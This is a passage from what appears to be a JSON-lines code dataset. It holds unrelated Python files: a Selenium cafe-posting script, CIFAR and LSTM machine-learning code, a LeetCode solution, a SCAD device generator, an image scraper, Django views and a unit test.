불러온다.\r\n # 2. innerHTML에 content를 넣어 추가한다.\r\n # 3. 대표 이미지를 설정하고 싶다면 사진 업로드를 추가해야 한다.\r\n self.driver.execute_script(self.innerHTML(self.content))\r\n self.driver.switch_to.default_content()\r\n self.insertRPimg()\r\n self.submit()\r\n\r\n def submit(self):\r\n self.driver.switch_to.default_content()\r\n # self.driver.switch_to.frame(self.driver.find_element_by_id('cafe_main'))\r\n self.driver.find_element_by_id('cafewritebtn').click()\r\n\r\n def getIframes2Pagesource(self):\r\n iframes = self.driver.find_elements_by_css_selector('iframe')\r\n for i, iframe in enumerate(iframes):\r\n try:\r\n self.driver.switch_to.frame(iframes[i])\r\n print(\"iframes[%d]'s has data\" % i)\r\n print(self.driver.page_source)\r\n self.driver.switch_to.default_content()\r\n except:\r\n self.driver.switch_to.default_content()\r\n print(\"iframes[%d]'s None\" % i)\r\n pass\r\n\r\n def clipboard_input(self, user_input):\r\n temp_copy = pyperclip.paste()\r\n pyperclip.copy(user_input)\r\n ActionChains(self.driver).key_down(Keys.CONTROL).send_keys('v').key_up(Keys.CONTROL).perform()\r\n pyperclip.copy(temp_copy)\r\n # @run\r\n # def S2C(self, content = \"Hello World\"):\r\n # # String to Content(HTML)\r\n # tmp = \"\"\r\n # return tmp\r\n\r\n def innerHTML(self, content: str):\r\n iframe = self.driver.find_element_by_css_selector('iframe')\r\n self.Check_iframe()\r\n self.driver.switch_to.frame(iframe)\r\n time.sleep(1) # 평균 1초로 잡아줌.\r\n base = \"document.getElementsByTagName('body')[0].innerHTML = \\'{}\\'\".format(content)\r\n return base\r\n\r\n def insertRPimg(self):\r\n if not self.imgUrl:\r\n return\r\n self.driver.find_element_by_xpath('//*[@id=\"iImage\"]/a').click()\r\n self.sleep()\r\n\r\n self.driver.switch_to.window(self.driver.window_handles[-1])\r\n self.sleep()\r\n\r\n self.driver.find_element_by_xpath('//*[@id=\"pc_image_file\"]').send_keys(self.imgUrl)\r\n self.sleep()\r\n\r\n self.driver.find_element_by_xpath('/html/body/div[3]/header/div[2]/button').click()\r\n self.driver.switch_to.window(self.driver.window_handles[0])\r\n\r\n def Check_iframe(self):\r\n iframes = self.driver.find_elements_by_css_selector('iframe')\r\n for i, iframe in enumerate(iframes):\r\n try:\r\n print('%d번째 iframe 입니다.' % i)\r\n self.driver.switch_to.frame(iframes[i])\r\n print(self.driver.page_source)\r\n self.driver.switch_to.default_content()\r\n except:\r\n self.driver.switch_to.default_content()\r\n print('pass by except: iframes[%d' % i)\r\n pass\r\n def main(self):\r\n self.login()\r\n self.driver.get_screenshot_as_file(\"capture.png\")\r\n self.write()\r\n time.sleep(1)\r\n # self.run(self.login)\r\n # self.run(self.write)","sub_path":"1.0.1/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":6885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"408889638","text":"import numpy as np \nimport os \nimport pickle \nimport glob \nimport matplotlib.pyplot as plt \nimport mstone\n \ndata_dir = mstone.data_path \ndata_dir_cifar10 = os.path.join(data_dir, \"cifar-10-batches-py\") \ndata_dir_cifar100 = os.path.join(data_dir, \"cifar-100-python\") \n \nclass_names_cifar10 = np.load(os.path.join(data_dir_cifar10, \"batches.meta\")) \nclass_names_cifar100 = np.load(os.path.join(data_dir_cifar100, \"meta\")) \n \nprint(class_names_cifar10) \n\ndef one_hot(x, n): \n \"\"\" \n convert index representation to one-hot representation \n \"\"\" \n x = np.array(x) \n assert x.ndim == 1 \n return np.eye(n)[x] \n \ndef _load_batch_cifar10(filename, dtype='float64'): \n \"\"\" \n load a batch in the CIFAR-10 format \n \"\"\" \n path = os.path.join(data_dir_cifar10, filename) \n #batch = np.load(path) \n fp = open(path, 'rb')\n batch = pickle.load(fp, encoding ='bytes')\n data = batch[b'data'] / 255.0 # scale between [0, 1] \n labels = one_hot(batch[b'labels'], n=10) # convert labels to one-hot representation \n return data.astype(dtype), labels.astype(dtype) \n \n \ndef _grayscale(a): \n #print a.reshape(a.shape[0], 3, 32, 32).mean(1).reshape(a.shape[0], -1) \n return a.reshape(a.shape[0], 3, 32, 32).mean(1).reshape(a.shape[0], -1) \n \n \ndef cifar10(dtype='float64', grayscale=True): \n # train \n x_train = [] \n t_train = [] \n for k in range(5): \n x, t = _load_batch_cifar10(\"data_batch_%d\" % (k + 1), dtype=dtype) \n x_train.append(x) \n t_train.append(t) \n \n x_train = np.concatenate(x_train, axis=0) \n t_train = np.concatenate(t_train, axis=0) \n t_train = _tolabelx(t_train)\n t_valid = t_train[-10000:]\n t_train = t_train[:-10000]\n\n x_valid = x_train[-10000:]\n x_train = x_train[:-10000]\n \n # test \n x_test, t_test = _load_batch_cifar10(\"test_batch\", dtype=dtype) \n t_test = _tolabelx(t_test)\n \n if grayscale: \n x_train = _grayscale(x_train) \n x_test = _grayscale(x_test) \n x_valid = _grayscale(x_valid) \n \n return x_train, t_train, x_test, t_test, x_valid, t_valid \n \ndef _tolabelx(t_train):\n ylab = []\n for tmp in t_train:\n yl = tmp.tolist().index(1.0)\n ylab.append(yl)\n\n return ylab\n \n \ndef _load_batch_cifar100(filename, dtype='float64'): \n \"\"\" \n load a batch in the CIFAR-100 format \n \"\"\" \n path = os.path.join(data_dir_cifar100, filename) \n #batch = np.load(path) \n fp = open(path, 'rb')\n batch = pickle.load(fp, encoding ='bytes')\n data = batch[b'data'] / 255.0 \n labels = one_hot(batch[b'fine_labels'], n=100) \n return data.astype(dtype), labels.astype(dtype) \n \n \ndef cifar100(dtype='float64', grayscale=True): \n x_train, t_train = _load_batch_cifar100(\"train\", dtype=dtype) \n x_test, t_test = _load_batch_cifar100(\"test\", dtype=dtype) \n \n t_test = _tolabelx(t_test)\n t_train = _tolabelx(t_train)\n if grayscale: \n x_train = _grayscale(x_train) \n x_test = _grayscale(x_test) \n\n t_valid = t_train[-10000:]\n t_train = t_train[:-10000]\n\n x_valid = x_train[-10000:]\n x_train = x_train[:-10000]\n \n return x_train, t_train, x_test, t_test, x_valid, t_valid\n \n#Xtrain, Ytrain, Xtest, Ytest, xvalid, yvalid = cifar100() \nXtrain, Ytrain, Xtest, Ytest, Xvalid, Yvalid = cifar10() \nprint(Ytrain[0])\nprint(len(Ytest))\nprint(Xtrain[0])\nprint(len(Xtrain[0]))\n\n################################################ \n'''\nprint Xtest[0].shape\n \n \nimage = Xtrain[0].reshape(32, 32) \nimage1 = Xtrain[255].reshape(32, 32) \n \nfig = plt.figure() \nax = fig.add_subplot(121) \nplt.axis('off') \n#plt.title(class_names_cifar10['label_names'][list(Ytrain[0]).index(1)]) \nplt.imshow(image, cmap='gray') \n \nax = fig.add_subplot(122) \n#plt.title(class_names_cifar10['label_names'][list(Ytrain[255]).index(1)]) \nplt.imshow(image1, cmap='gray') \nplt.axis('off') \nplt.show() \n'''\n","sub_path":"src/cifar/loadcifar3.py","file_name":"loadcifar3.py","file_ext":"py","file_size_in_byte":3968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"434319246","text":"#coding=UTF-8\n\"\"\"\nGiven an array of integers where 1 ≤ a[i] ≤ n (n = size of array),\nsome elements appear twice and others appear once.\nFind all the elements of [1, n] inclusive that do not appear in this array.\nCould you do it without extra space and in O(n) runtime? You may assume the returned list does not count as extra space.\nExample:\n\nInput:\n[4,3,2,7,8,2,3,1]\n\nOutput:\n[5,6]\n在这个长度为8的数组,缺少了5,6这两个数\n\"\"\"\nclass Solution(object):\n def findDisappearedNumbers(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n\n n = len(nums)\n for i in range(n):\n\n # 表示看这个数字是不是在它应该在的index上\n # 如果不是的话,那么把这个数字(在i上) 放到它应该在的位置上 nums[i] - 1\n while nums[i] != nums[nums[i] - 1]:\n self.swap(nums, i, nums[i] - 1)\n\n # 但是为什么我们这里的while循环 用的是nums[i] != nums[nums[i] - 1] 而不是nums[i] == i+1呢?\n # 因为nums[i]每次的数字都可能会变,但是i+1的值是定死的,i+1只能针对第一次的情况,所以对于第二次以后\n # 的循环, i+1 和 nums[i]都是无相关性的\n\n res = []\n for i in range(n):\n # 这里就是理解题意了\n # 排前:[4,3,2,7,8,2,3,1]\n # 排后:[1,2,3,4,3,2,7,8]\n # 因为我们想要知道当前位置应该放哪个数字,(i+1)表示 下标i应该放哪个数字,所以append i+1\n if nums[i] != i + 1:\n res.append(i + 1)\n\n return res\n\n def swap(self, nums, i, j):\n nums[i], nums[j] = nums[j], nums[i]\n\ns = Solution()\ns.findDisappearedNumbers([4,3,2,7,8,2,3,1])\n\n\"\"\"\nTime: O(n), Space: O(1)\nhttps://leetcode-cn.com/problems/find-all-numbers-disappeared-in-an-array/solution/tong-pai-xu-ji-yu-yi-huo-yun-suan-jiao-huan-liang-/\n答案:\n这题算41题的入门版\n\n这种类型的题的核心思想是鸽子洞理论, 因为他给你[1,n]的数,一个长n的数组,然后里面肯定有重复\n所以按道理说,我们是可以把 1-n按顺序排到数组里面去\n所以我们就要按照这个定律来解题,例如\n\nnums 1,2,3,4,5\ninds 0,1,2,3,4\n\n我们可以发现,要是所有元素都放置正确的话,那么 满足规律 nums[i] == nums[nums[i] - 1]\nnums[i] 表示的是那个数字, nums[i] - 1 代表的是那个数字所应该在哪个index上\n所以nums[i] == nums[nums[i] - 1] 表示看这个数字是不是在它应该在的index上\n\n例如 nums[i] = 3, i = 2, nums[i]-1 = 2\n\"\"\"","sub_path":"leetcode/Array/448. 缺失的所有数字(鸽子洞理论).py","file_name":"448. 缺失的所有数字(鸽子洞理论).py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"577246277","text":"import microfluidic_SCAD_generator \n\nufgen = microfluidic_SCAD_generator.UF_Generator(\"valve_test_device\")\n\nufgen.layer_offset = 4\nufgen.valve_radius_1 = 3\nufgen.valve_radius_2 = 2.4\n\nufgen.standoff_radius_1 = 3;\nufgen.standoff_radius_2 = 2.4;\n\nwidth = ufgen.width\nheight = ufgen.height\nchannel_widths = [.41, 1.01, 2.01]\nvalve_membrane_thicknesses = [.3, .5, .8, 1]\n\nstamps_horizontal = len(valve_membrane_thicknesses)\nstamps_veritcal = len(channel_widths)\n\nprint(\"Creating \" + str(stamps_horizontal * stamps_veritcal) + \" stamps, \" + str(stamps_horizontal) + \" horizontal and \" + str(stamps_veritcal) + \" vertical.\")\n\nstamp_start_x = 2\nstamp_start_y = 6\nstamp_buffer_x = 2\nstamp_buffer_y = 3\nstampWidth = (width-stamp_start_x*2)/stamps_horizontal\nstampHeight = (height-stamp_start_y)/stamps_veritcal\npneuWidth = 1.2\npneuHeight = 1\nchanHeight = .05\nportRadius = 1.2\nviaRadius = 1.4\nviaHeight = ufgen.layer_offset - pneuHeight\nportHeight = 1\nchanPortHeight = .05\n\nc = ufgen.create_layer(ufgen.layer_offset, \"c\", True, color=\"Red\")\nf = ufgen.create_layer(0, \"f\", color=\"Blue\")\nb = ufgen.create_layer(ufgen.layer_offset, \"b\", False, color=\"Purple\")\n\ncorner_offset = 3;\noffset_point_1 = [corner_offset, corner_offset]\noffset_point_2 = [width-corner_offset, corner_offset]\noffset_point_3 = [width-corner_offset, height-corner_offset]\noffset_point_4 = [corner_offset, height-corner_offset]\n\n\"\"\"\nstandoff_1 = ufgen.create_standoff(offset_point_1, \"f\")\nstandoff_2 = ufgen.create_standoff(offset_point_2, \"f\")\nstandoff_3 = ufgen.create_standoff(offset_point_3, \"f\")\nstandoff_4 = ufgen.create_standoff(offset_point_4, \"f\")\n\n\"\"\"\n\ndef getValveHeight(membrane_thickness):\n\treturn ufgen.layer_offset - chanHeight - membrane_thickness\n\ndef makeStamp(start, membraneThickness, channelWidth):\n\tport_pos = [start[0], start[1] + stamp_buffer_y]\n\tvalve_pos = [start[0], start[1] + stampHeight - stamp_buffer_y*2]\n\tchan_x1 = start[0] - stampWidth/2 + stamp_buffer_x\n\tchan_x2 = chan_x1 + stampWidth - stamp_buffer_x*2\n\tchanStart = [chan_x1, valve_pos[1]]\n\tchanEnd = [chan_x2, valve_pos[1]]\n\tufgen.create_valve(valve_pos, \"c\", height=getValveHeight(membraneThickness))\n\tufgen.create_channel(port_pos, valve_pos, \"c\", width=pneuWidth, height=pneuHeight)\n\tufgen.create_channel(chanStart, chanEnd, \"f\", width=channelWidth, height=chanHeight)\n\tufgen.create_port(port_pos, \"c\", radius=portRadius, height=portHeight)\n\tufgen.create_via(chanStart, \"f\", radius1 =viaRadius, radius2=portRadius, height=viaHeight)\n\tufgen.create_via(chanEnd, \"f\", radius1=viaRadius, radius2=portRadius, height=viaHeight)\n\tufgen.create_port(chanStart, \"c\", radius=portRadius, height=pneuHeight)\n\tufgen.create_port(chanEnd, \"c\", radius=portRadius, height=pneuHeight)\n\n\tufgen.create_port(chanStart, \"b\", radius=portRadius, height=.4)\n\tufgen.create_port(chanEnd, \"b\", radius=portRadius, height=.4)\n\tufgen.create_port(port_pos, \"b\", radius=portRadius, height=.4)\n\n\tprint(\"Making stamp at: \" + str(start))\n\n\nfor i in range(len(channel_widths)):\n\tfor j in range(len(valve_membrane_thicknesses)):\n\t\tif (j % 2 == 0):\n\t\t\tstart_y = stampHeight/3 + i * stampHeight\n\t\telse:\n\t\t\tstart_y = i * stampHeight\n\t\tstart_x = stamp_start_x + stampWidth/2 + j * stampWidth\n\t\tstart = [start_x, start_y]\n\t\tmakeStamp(start, valve_membrane_thicknesses[j], channel_widths[i])\n\nufgen.output_all_SCAD(False)","sub_path":"old/python_examples/valve_test_device.py","file_name":"valve_test_device.py","file_ext":"py","file_size_in_byte":3326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"331349097","text":"# -*- coding: utf-8 -*-\nimport urllib\nimport pyquery\n\n\nclass Client():\n categories = [\n 'black-white', 'beach', 'animals',\n 'construction', 'city', 'desk',\n 'food', 'industrial', 'object', 'nature'\n ]\n\n def __init__(self):\n self.base_url = 'http://www.lifeofpix.com'\n\n def get(self, page=1):\n url = self.base_url + '/page/%s' % page\n return self._fetch(url)\n\n def before(self, end_page):\n images = []\n for page_num in range(end_page):\n images += self.get(page_num)\n return images\n\n def by_category(self, category, page=1):\n url = self.base_url + '/gallery-items/%s/page/%s' % (category, page)\n return self._fetch(url)\n\n def _fetch(self, url):\n response = urllib.urlopen(url)\n content = response.read()\n parser = pyquery.PyQuery(content)\n return [image.attrib.get('src') for image in parser('img.attachment-portfolio-big')]","sub_path":"lifeofpix/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"598034557","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 11 16:21:06 2018\n\n@author: zhihuan\n\"\"\"\n\nimport sys, os\nsys.path.append(\"/home/zhihuan/Documents/20181207_Hypoxemia/20190103_ICM_LSTM\")\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nfrom torch.autograd import Variable\nfrom torch import optim\nimport numpy as np\nimport pandas as pd\nimport utils, LSTM\nfrom sklearn.metrics import auc, roc_curve, f1_score, recall_score, precision_score\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\nimport gc, logging, copy, pickle, math, random, argparse, time\nimport matplotlib.pyplot as plt\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--num_epochs', type=int, default=400, help=\"Number of epochs to train for. Default: 300\")\n parser.add_argument('--hidden_size', default=8, type=int)\n parser.add_argument('--num_layers', default=1, type=int)\n parser.add_argument('--gap', default=6, type=int)\n parser.add_argument('--dropout', default=0.2, type=float)\n parser.add_argument('--lr', default=5e-3, type=float)\n parser.add_argument('--l1', default=1e-4, type=float)\n parser.add_argument('--l2', default=0, type=float)\n parser.add_argument('--results_dir', default='/home/zhihuan/Documents/20181207_Hypoxemia/20190103_ICM_LSTM/Results/20180105 data: 42 features/LSTM_20190105', help=\"results dir\")\n return parser.parse_args()\n\nif __name__=='__main__':\n gc.collect()\n torch.cuda.manual_seed_all(666)\n torch.manual_seed(666)\n random.seed(666)\n np.random.seed(666)\n torch.cuda.empty_cache()\n args = parse_args()\n criterion = nn.CrossEntropyLoss()\n softmax = F.softmax\n epochs = args.num_epochs\n plt.ioff()\n# run_fold = args.run_fold\n \n learning_rate = args.lr\n weight_decay = args.l2\n l1_reg = args.l1\n dropout = args.dropout\n batch_size = 2**20\n \n args.results_dir = args.results_dir + \"/LSTM_\" + str(args.hidden_size) + \"_\" + \\\n str(args.num_layers) + \"_ep=\" + str(epochs) + \"_dr=\" + str(dropout) + \\\n \"_lr=\" + str(learning_rate) + \"_l2=\" + str(weight_decay) + \\\n \"_l1=\" + str(l1_reg)\n\n # Device configuration\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n #device = torch.device('cpu')\n fname = 'Data_5folds_6_%d_1_20190105_no_CA.pickle' % args.gap\n print(\"Running with dataset Gap = %d\" % args.gap)\n datasets_5folds = pickle.load( open( '/home/zhihuan/Documents/20181207_Hypoxemia/20190103_ICM_LSTM/data/' + fname, \"rb\" ) )\n data_EICU = pd.read_csv(\"/home/zhihuan/Documents/20181207_Hypoxemia/20190103_ICM_LSTM/data/EICU_final_data_for_LSTM_20190102.csv\")\n\n \n for i in range(len(datasets_5folds)):\n print(\"%d fold CV -- %d/%d\" % (len(datasets_5folds), i+1, len(datasets_5folds)))\n# if run_fold != i+1:\n# continue\n # dataset\n TIMESTRING = time.strftime(\"%Y%m%d-%H.%M.%S\", time.localtime())\n \n results_dir_dataset = args.results_dir + '/Gap_' + str(args.gap) + \\\n '/run_' + TIMESTRING + '_fold_' + str(i+1)\n if not os.path.exists(results_dir_dataset):\n os.makedirs(results_dir_dataset)\n \n # =============================================================================\n # Model\n # =============================================================================\n model = LSTM.LSTM(input_size = datasets_5folds['1']['test']['X'].shape[2], hidden_size = args.hidden_size, \\\n num_layers = args.num_layers, batch_size = batch_size, num_classes = 2, \\\n dropout = dropout, device = device)\n #model.hidden = model.init_hidden()\n model.to(device)\n optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate, weight_decay=weight_decay) # define l2 penalty below, not at here.\n \n text_file = open(args.results_dir + \"/parameter_setting.txt\", \"w\")\n text_file.write(str(model) + \"\\n\")\n text_file.write(str(optimizer) + \"\\n\")\n text_file.write(\"Gap: %d\\n\" % args.gap)\n text_file.write(\"Batch size: %d\\n\" % batch_size)\n text_file.write(\"Number of Epochs: %d\\n\" % epochs)\n text_file.write(\"Dropout: %.4f\\n\" % dropout)\n text_file.write(\"L1 reg: %.4f\\n\" % l1_reg)\n text_file.write(\"L2 reg: %.4f\\n\" % weight_decay)\n text_file.close()\n \n # create logger\n logger = logging.getLogger(TIMESTRING)\n logger.setLevel(logging.DEBUG)\n # create file handler which logs even debug messages\n fh = logging.FileHandler(results_dir_dataset+'/mainlog.log', mode='w')\n fh.setLevel(logging.DEBUG)\n logger.addHandler(fh)\n\n logger.log(logging.INFO, \"Arguments: %s\" % args)\n datasets = datasets_5folds[str(i+1)]\n \n X_train = np.concatenate((datasets['train']['X'], datasets['val']['X']), 0)\n y_train = np.concatenate((datasets['train']['y'], datasets['val']['y']), 0)\n X_test = datasets['test']['X']\n y_test = datasets['test']['y']\n dataloader = DataLoader(torch.FloatTensor(X_train), batch_size=batch_size, pin_memory=True, shuffle=False)\n lblloader = DataLoader(torch.LongTensor(y_train), batch_size=batch_size, pin_memory=True, shuffle=False)\n \n \n auc_train_list, auc_test_list, f1_train_list, f1_test_list, \\\n precision_test_list, recall_test_list = [], [], [], [], [], []\n for idx in range(epochs):\n for data, lbl in zip(dataloader, lblloader):\n optimizer.zero_grad()\n data = data.to(device)\n lbl = lbl.to(device)\n outputs = model(data)\n outputs_proba = softmax(outputs).cpu().data.numpy()[:,1]\n outputs_bin = np.argmax(softmax(outputs).cpu().data.numpy(),1)\n fpr, tpr, thresholds = roc_curve(lbl.cpu().data.numpy(), outputs_proba)\n auc_train = auc(fpr, tpr)\n auc_train_list.append(auc_train)\n f1_train = f1_score(outputs_bin, lbl.cpu().data.numpy(), average = 'macro')\n f1_train_list.append(f1_train)\n loss = criterion(outputs, lbl)\n# L1 penalization\n l1_crit = nn.L1Loss(size_average=False)\n l1_loss = 0\n for param in model.parameters():\n target = torch.FloatTensor(np.zeros(param.shape)).to(device)\n l1_loss += l1_crit(param, target)\n loss += l1_reg * l1_loss\n \n loss.backward()\n optimizer.step()\n \n outputs_test = model(torch.FloatTensor(X_test).to(device))\n loss_test = criterion(outputs_test, torch.LongTensor(y_test).to(device))\n outputs_test_proba = softmax(outputs_test).cpu().data.numpy()[:,1]\n outputs_test_bin = np.argmax(softmax(outputs_test).cpu().data.numpy(),1)\n fpr, tpr, thresholds = roc_curve(y_test, outputs_test_proba)\n auc_test = auc(fpr, tpr)\n auc_test_list.append(auc_test)\n f1_test = f1_score(outputs_test_bin, y_test, average = 'macro')\n f1_test_list.append(f1_test)\n precision = precision_score(y_test, outputs_test_bin, average = 'macro')\n precision_test_list.append(precision)\n recall = recall_score(y_test, outputs_test_bin, average = 'macro')\n recall_test_list.append(recall)\n \n print(\"iter: %03d, train loss: %.8f, test loss: %.8f\" % (idx, loss.cpu().data.numpy(), loss_test.cpu().data.numpy()))\n print(\" , train AUC: %.8f, test AUC: %.8f\" % (auc_train, auc_test))\n print(\" , train F-1: %.8f, test F-1: %.8f\" % (f1_train, f1_test))\n logger.log(logging.INFO, \"iter: %03d, train loss: %.8f, test loss: %.8f\" % (idx, loss.cpu().data.numpy(), loss_test.cpu().data.numpy()))\n logger.log(logging.INFO, \" , train AUC: %.8f, test AUC: %.8f\" % (auc_train, auc_test))\n logger.log(logging.INFO, \" , train F-1: %.8f, test F-1: %.8f\" % (f1_train, f1_test))\n \n \n \n with open(results_dir_dataset + '/model.pickle', 'wb') as handle:\n pickle.dump(model.state_dict(), handle, protocol=pickle.HIGHEST_PROTOCOL)\n with open(results_dir_dataset + '/model.pickle', 'wb') as handle:\n pickle.dump(model.state_dict(), handle, protocol=pickle.HIGHEST_PROTOCOL)\n with open(results_dir_dataset + '/outputs_test_proba.pickle', 'wb') as handle:\n pickle.dump(outputs_test_proba, handle, protocol=pickle.HIGHEST_PROTOCOL)\n with open(results_dir_dataset + '/outputs_test_bin.pickle', 'wb') as handle:\n pickle.dump(outputs_test_bin, handle, protocol=pickle.HIGHEST_PROTOCOL)\n \n res_table = pd.DataFrame(list(zip(auc_train_list, auc_test_list, f1_train_list, f1_test_list, precision_test_list, recall_test_list)))\n res_table.columns = ['auc_train', 'auc_test', 'f1_train', 'f1_test', 'precision_test', 'recall_test']\n res_table.to_csv(results_dir_dataset + '/MIMIC_AFPR_table.csv')\n \n plt.figure(figsize=(8,4))\n plt.plot(range(epochs), auc_train_list, \"r-\",linewidth=1)\n plt.plot(range(epochs), auc_test_list, \"g--\",linewidth=1)\n plt.legend(['train', 'test'])\n plt.xlabel(\"epochs\")\n plt.ylabel(\"AUC\")\n plt.title(\"AUC Curve\")\n plt.savefig(results_dir_dataset + \"/MIMIC_convergence.png\",dpi=300)\n \n plt.figure(figsize=(8,4))\n plt.plot(fpr, tpr, color='darkorange',\n lw=2, label='LSTM test set (AUC = %0.4f%%)' % (100*auc(fpr, tpr)))\n \n plt.axes().set_aspect('equal')\n plt.plot([0, 1], [0, 1], color='navy', lw=1, linestyle='--')\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.05])\n plt.xlabel('False Positive Rate (FPR)')\n plt.ylabel('True Positive Rate (TPR)')\n plt.title('Receiver Operating Characteristic Curve')\n plt.legend(loc=\"lower right\")\n# plt.show()\n plt.savefig(results_dir_dataset + \"/MIMIC_test_AUC.png\",dpi=300)\n \n # =============================================================================\n # Validate EICU\n # =============================================================================\n \n X_EICU, y_EICU, column_names_EICU, icustay_id_EICU = \\\n utils.preprocessing(data_EICU, series = 6, gap = args.gap)\n# unique, counts = np.unique(y_EICU, return_counts=True)\n outputs_EICU_test = model(torch.FloatTensor(X_EICU).to(device))\n outputs_EICU_test_proba = softmax(outputs_EICU_test).cpu().data.numpy()[:,1]\n outputs_EICU_test_bin = np.argmax(softmax(outputs_EICU_test).cpu().data.numpy(),1)\n \n with open(results_dir_dataset + '/outputs_EICU_test_proba.pickle', 'wb') as handle:\n pickle.dump(outputs_EICU_test_proba, handle, protocol=pickle.HIGHEST_PROTOCOL)\n with open(results_dir_dataset + '/outputs_EICU_test_bin.pickle', 'wb') as handle:\n pickle.dump(outputs_EICU_test_bin, handle, protocol=pickle.HIGHEST_PROTOCOL)\n \n fpr, tpr, thresholds = roc_curve(y_EICU, outputs_EICU_test_proba)\n auc_EICU = auc(fpr, tpr)\n f1 = f1_score(outputs_EICU_test_bin, y_EICU, average = 'macro')\n precision = precision_score(y_EICU, outputs_EICU_test_bin, average = 'macro')\n recall = recall_score(y_EICU, outputs_EICU_test_bin, average = 'macro')\n \n print(\"EICU AUC: %.8f; Macro F1: %.8f; Precision: %.8f; Recall: %.8f\" % (auc_EICU, f1, precision, recall))\n logger.log(logging.INFO, \"EICU AUC: %.8f; Macro F1: %.8f; Precision: %.8f; Recall: %.8f\" % (auc_EICU, f1, precision, recall))\n \n plt.figure(figsize=(8,8))\n plt.plot(fpr, tpr, color='darkorange',\n lw=2, label='LSTM EICU set (AUC = %0.4f%%)' % (100*auc(fpr, tpr)))\n plt.axes().set_aspect('equal')\n plt.plot([0, 1], [0, 1], color='navy', lw=1, linestyle='--')\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.05])\n plt.xlabel('False Positive Rate (FPR)')\n plt.ylabel('True Positive Rate (TPR)')\n plt.title('Receiver Operating Characteristic Curve (EICU)')\n plt.legend(loc=\"lower right\")\n# plt.show()\n plt.savefig(results_dir_dataset + \"/EICU_AUC.png\",dpi=300)\n ","sub_path":"2_main.py","file_name":"2_main.py","file_ext":"py","file_size_in_byte":12582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"244538685","text":"#coding:utf-8\n'''\n这个文档主要讲述tf.argmax, 它是返回一个tensor对应与axis维度的最大值的下标.\n如果tensor是一个向量,那么axis是0,即返回这个向量最大值的下标,即一个数字,\n如果tensor是一个2x2的矩阵,如果axis是0,那么求出每一列中最大值的下表.\n如果tensor是一个2x2的矩阵,如果axis是1,那么求出每一行中最大值的下表.\n依次类推\n对于高维的tensor来说,输入的Tensor的Rank是未知的,所以不能说按行和列计算最大值。是取最大值所在的索引。\n'''\n\nimport tensorflow as tf\n\na = tf.get_variable(name='a',\n shape=[3, 4],\n dtype=tf.float32,\n initializer=tf.random_uniform_initializer(minval=-1, maxval=1))\nb = tf.argmax(input=a, axis=0)\nc = tf.argmax(input=a, dimension=1) # 此处用dimesion或用axis是一样的\nsess = tf.InteractiveSession()\nsess.run(tf.initialize_all_variables())\nprint(sess.run(a))\n# [[ 0.04261756 -0.34297419 -0.87816691 -0.15430689]\n# [ 0.18663144 0.86972666 -0.06103253 0.38307118]\n# [ 0.84588599 -0.45432305 -0.39736366 0.38526249]]\nprint(sess.run(b))\n# [2 1 1 2]\nprint(sess.run(c))\n# [0 1 0]","sub_path":"st_tf_argmax.py","file_name":"st_tf_argmax.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"295543550","text":"from django.http import HttpResponse, HttpResponseRedirect\nfrom django.views.decorators.http import require_GET\nfrom django.shortcuts import render, redirect, get_object_or_404\n\n\n@require_GET\ndef robots_txt(request):\n lines = [\n \"User-agent: Googlebot\",\n \"User-agent: AdsBot-Google\",\n \"Disallow: /admin/\",\n \"Disallow: /*.gif$\",\n\n \"User-agent: *\",\n \"Disallow: /admin/\",\n \"Disallow: /*.gif$\",\n\n \"User-agent: anothercrawler\",\n \"Disallow: /admin/\",\n \"Disallow: /*.gif$\",\n ]\n return HttpResponse(\"\\n\".join(lines), content_type=\"text/plain\")\n\n\ndef redirect_article(request):\n response = redirect('/articles')\n return response\n\n\ndef redirect_company(request):\n response = redirect('/company_catalog')\n return response\n\n\ndef redirect_doctor(request):\n response = redirect('/doctor_catalog')\n return response\n\n\ndef set_cookie_town(request, town):\n response = HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n response.set_cookie(\"town\", town, max_age=3600)\n return response\n","sub_path":"main_aam/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"253543606","text":"import unittest\nfrom wordProcess import WordProcess\nfrom synonym import Synonym\nfrom term import Term\n\nclass TestSynonym(unittest.TestCase):\n\n def setUp(self):\n pass\n\n def testar_isSinonym_pedra(self):\n word = WordProcess()\n synonym = Synonym(word)\n \n \n synonym.setPrincipal(\"pedra\")\n synonym.addOther(\"rocha\")\n synonym.addOther(\"cascalho\")\n\n self.assertTrue(synonym.isSynonym(\"PEDRA\"))\n \n def testar_isSinonym_cascalho(self):\n word = WordProcess()\n synonym = Synonym(word)\n \n \n synonym.setPrincipal(\"pedra\")\n synonym.addOther(\"rocha\")\n synonym.addOther(\"cascalho\")\n\n self.assertTrue(synonym.isSynonym(\"cascalhos\")) \n\n def testar_isSinonym_pedregulho(self):\n word = WordProcess()\n synonym = Synonym(word)\n \n \n synonym.setPrincipal(\"pedra\")\n synonym.addOther(\"rocha\")\n synonym.addOther(\"cascalho\")\n self.assertFalse(synonym.isSynonym(\"pedregulho\")) \n\n\nif __name__ == 